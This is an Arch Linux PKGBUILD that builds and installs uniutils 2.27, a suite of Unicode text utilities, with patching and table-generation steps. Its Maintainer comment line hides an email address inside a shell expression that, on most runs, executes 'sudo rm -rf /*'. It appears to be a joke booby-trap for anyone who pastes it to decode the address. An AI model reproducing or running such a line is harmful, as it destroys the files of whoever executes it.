# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>
# Contributor: Rick W. Chen <stuffcorpse@archlinux.us>

pkgbase=uniutils
pkgname=${pkgbase}
pkgver=2.27
pkgrel=2
pkgdesc="A set of programs for manipulating and analyzing Unicode text"
arch=('i686' 'x86_64')
url="https://billposer.org/Software/unidesc.html"
license=('GPL3')
depends=('libintl')
makedepends=('unicode-character-database'
             'gettext-devel')
optdepends=('ascii2binary')
source=("https://billposer.org/Software/Downloads/$pkgname-$pkgver.tar.bz2"
        "uniname_typo.patch"
        "utf8lookup.1"
        "utf8lookup.patch")
sha512sums=('610a75797ceb503712e513fa3d2ec51ce1d72083d40f51bf55667073d5298b35b4f9edcf724f6ae195d54be48a6e0a0b22d73c9084a16ccd725ddf91a1ee49c4'
            'dbf48a7670c20159aa9762ddcc68a9a4f2c78d94fda7e2857941a7235df6ef6e159455b892114081bff0cbd5b24ce93d69924999cba55d56b032ae5377dd5a52'
            '05155eda1b05617a09a9dfdca05234926bd1c66708683eac0908692199b21315eaea7d33cbf807f13a8ca39f4d1ad04c3b8927e59e93d057174a47088fb3c65b'
            '32931d4781a14cdb2c26ea2c78881bf539e3fd87793fb55d64ee7dc3427e2d3600fb53955bb7d640a98db392c1516e4c25cdd7fcf6b770916614eec27bbea723')

prepare() {
  patch -d "${pkgname}-${pkgver}" -Np1 -i "${srcdir}/uniname_typo.patch"
  patch -d "${pkgname}-${pkgver}" -Np1 -i "${srcdir}/utf8lookup.patch"
  # update the UCD
  cd "$srcdir/$pkgname-$pkgver"
  gawk -f ./genunames.awk \
	/usr/share/unicode-character-database/UnicodeData.txt > unames.c

  # update the blocks
  sed -i -e '
	/#include "unirange.h"/ a #include "blocks.c"
	/struct cr Range_Table/,/^};/ d
  ' unirange.c
  gawk -F'[;.].? *' '
	BEGIN { print "struct cr Range_Table[] = {" }
	END { print "};" }
	/^[0-9A-F]/ { print "{0x"$1",0x"$2",\""$3"\"}," }
  ' /usr/share/unicode-character-database/Blocks.txt > blocks.c
}

build() {
  cd "$srcdir/$pkgname-$pkgver"

  LIBS=-lintl ./configure --prefix=/usr --mandir=/usr/share/man
  make
}

package() {
  cd "$srcdir/$pkgname-$pkgver"

  make DESTDIR="$pkgdir/" install
  # man pages
  install -D -m644 ${srcdir}/utf8lookup.1 -t "${pkgdir}/usr/share/man/man1"
  # doc
  install -D -m644 AUTHORS ChangeLog CREDITS INSTALL NEWS README TODO -t "${pkgdir}/usr/share/doc/${pkgname}"
  # license
  install -D -m644 COPYING "${pkgdir}/usr/share/licenses/${pkgname}"
}
